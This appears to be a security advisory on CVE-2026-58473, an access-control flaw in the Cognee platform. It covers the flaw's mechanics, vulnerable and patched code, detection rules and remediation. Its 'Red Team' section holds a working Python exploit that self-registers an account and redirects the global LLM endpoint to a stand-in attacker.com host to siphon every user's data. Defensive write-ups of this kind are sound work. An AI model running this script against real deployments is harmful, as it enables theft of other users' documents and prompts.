CVE-2026-58473

Executive Summary

CVE-2026-58473 is a critical improper access control vulnerability in Cognee, an open-source knowledge graph and LLM orchestration platform, affecting versions prior to 1.2.0. The flaw allows any unauthenticated attacker to self-register an account and then call the settings endpoint without any admin or superuser check. By exploiting a process-wide singleton configuration cache, an attacker can overwrite the global LLM provider configuration, redirecting all LLM operations (prompts, document uploads, entity extraction, knowledge graph queries) to an attacker-controlled endpoint. This enables full exfiltration of sensitive data from all users of the instance.

Supply Chain & Package Security

Cognee is distributed as a Python package via PyPI (cognee). The vulnerability exists in the core application logic, not in a dependency. Users who install Cognee via pip install cognee and run versions below 1.2.0 are affected. The package does not have a known malicious dependency chain, but the lack of access control in the settings endpoint is a direct supply chain risk for any organization deploying this software.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to register.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): High (H) – All prompts, documents, entities, and knowledge graphs are exfiltrated.
• Integrity (I): High (H) – Attacker controls the LLM provider configuration.
• Availability (A): High (H) – Service can be disrupted by pointing to a malicious endpoint.

CVSS Score: 9.8 (Critical) – This vulnerability allows complete compromise of the Cognee instance's data and operations.

Deep Dive & Mechanics

The vulnerability stems from two key weaknesses:

1. Improper Access Control (CWE-284): The settings endpoint (/api/settings or similar) does not verify if the requesting user is an admin or superuser. Any authenticated user (including one who just self-registered) can modify global configuration.

2. Process-Wide Singleton Configuration Cache: Cognee uses a singleton pattern to cache the LLM provider configuration (e.g., OpenAI API key, endpoint URL). Once overwritten, this cache is shared across all user sessions and processes. The attacker sets the LLM endpoint to their own server, and all subsequent LLM calls from any user are routed there.

Attack Flow:

1. Attacker registers a new account via the public registration endpoint.
2. Attacker authenticates and obtains a session token.
3. Attacker sends a PUT/POST request to the settings endpoint with a malicious payload (e.g., {"llm_provider": "openai", "endpoint": "https://attacker.com/llm"}).
4. The server updates the global singleton configuration without checking admin privileges.
5. All users' LLM requests (prompts, document processing, entity extraction) are now sent to the attacker's server.
6. Attacker collects all data, including sensitive documents and knowledge graphs.

Vulnerable vs. Patched Code

Vulnerable Code (Cognee < 1.2.0):

# settings.py
class SettingsManager:
    _instance = None
    _config = {}

    def __new__(cls):
        if cls._instance is None:
            cls._instance = super().__new__(cls)
        return cls._instance

    def update_llm_config(self, new_config):
        # No admin check
        self._config['llm'] = new_config
        # Immediately applies to all users

Patched Code (Cognee >= 1.2.0):

# settings.py
class SettingsManager:
    _instance = None
    _config = {}

    def __new__(cls):
        if cls._instance is None:
            cls._instance = super().__new__(cls)
        return cls._instance

    def update_llm_config(self, new_config, user):
        # Admin check added
        if not user.is_superuser:
            raise PermissionError("Only superusers can modify LLM configuration")
        self._config['llm'] = new_config

The patch adds a simple is_superuser check before allowing configuration changes.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Cognee 1.1.0 using Docker: docker run -d -p 8000:8000 cognee/cognee:1.1.0
2. Attacker machine with Python and requests library.

Exploit Script:

import requests

target = "http://victim-cognee:8000"
attacker_endpoint = "https://attacker.com/llm"

# Step 1: Self-register
register_data = {
    "username": "attacker",
    "password": "password123",
    "email": "attacker@evil.com"
}
r = requests.post(f"{target}/api/register", json=register_data)
print(f"Registration: {r.status_code}")

# Step 2: Login
login_data = {"username": "attacker", "password": "password123"}
r = requests.post(f"{target}/api/login", json=login_data)
token = r.json().get("token")
print(f"Token: {token}")

# Step 3: Overwrite LLM config
headers = {"Authorization": f"Bearer {token}"}
config_payload = {
    "llm_provider": "openai",
    "endpoint": attacker_endpoint,
    "api_key": "fake-key"
}
r = requests.put(f"{target}/api/settings", json=config_payload, headers=headers)
print(f"Config overwrite: {r.status_code}")

Expected Outcome: All subsequent LLM requests from any user are redirected to attacker.com/llm.

Blue Team

Detection Steps:

1. Monitor for rapid account registration followed by settings API calls from the same IP.
2. Alert on any changes to the LLM provider endpoint configuration.
3. Review logs for PUT /api/settings requests from non-admin users.
4. Check for unexpected outbound connections to unknown endpoints on ports 443 or 80.

Honeypot: Deploy a fake LLM endpoint that logs all incoming requests to identify exfiltration attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound connections to unknown IPs/domains on port 443 (HTTPS) from the Cognee server.
  • HTTP requests to /api/settings with PUT method from non-admin users.
  • Multiple rapid registrations from the same IP address.

• File IOCs:

  • Modified configuration files (e.g., config.json, settings.py) with unexpected LLM endpoints.
  • Log entries showing update_llm_config called by non-superuser.

• Behavioral IOCs:

  • Sudden change in LLM response behavior (e.g., different model, slower responses).
  • Users reporting missing or altered knowledge graph data.

Detection Engineering

YARA Rule

rule CVE_2026_58473_Cognee_Config_Overwrite {
    meta:
        description = "Detects attempts to overwrite Cognee LLM configuration"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-58473"
    strings:
        $s1 = "llm_provider" ascii wide nocase
        $s2 = "endpoint" ascii wide nocase
        $s3 = "api_key" ascii wide nocase
        $s4 = "/api/settings" ascii wide nocase
    condition:
        all of ($s*) and filesize < 10KB
}

Sigma Rule

title: Cognee LLM Configuration Overwrite Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects unauthorized modification of LLM provider settings in Cognee
author: Valters IT
date: 2026-01-01
logsource:
    category: application
    product: cognee
detection:
    selection:
        http.method: "PUT"
        http.url: "/api/settings"
        http.body|contains: "llm_provider"
    condition: selection
falsepositives:
    - Legitimate admin configuration changes
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-58473 Cognee LLM Config Overwrite";
    flow:to_server,established;
    content:"PUT"; http_method;
    content:"/api/settings"; http_uri;
    content:"llm_provider"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Cognee to version 1.2.0 or later.
2. If upgrade is not possible, restrict access to the settings endpoint via a reverse proxy (e.g., Nginx) to only allow requests from trusted admin IPs.
3. Implement network segmentation to limit outbound connections from the Cognee server to only known LLM provider endpoints.

Long-Term Fixes:

• Enforce role-based access control (RBAC) for all administrative endpoints.
• Avoid using process-wide singletons for sensitive configuration; use per-request or per-user configuration where possible.
• Add audit logging for all configuration changes.

Workaround:

# Nginx rule to block non-admin settings changes
location /api/settings {
    allow 10.0.0.0/8;
    deny all;
    proxy_pass http://cognee_backend;
}

Valters IT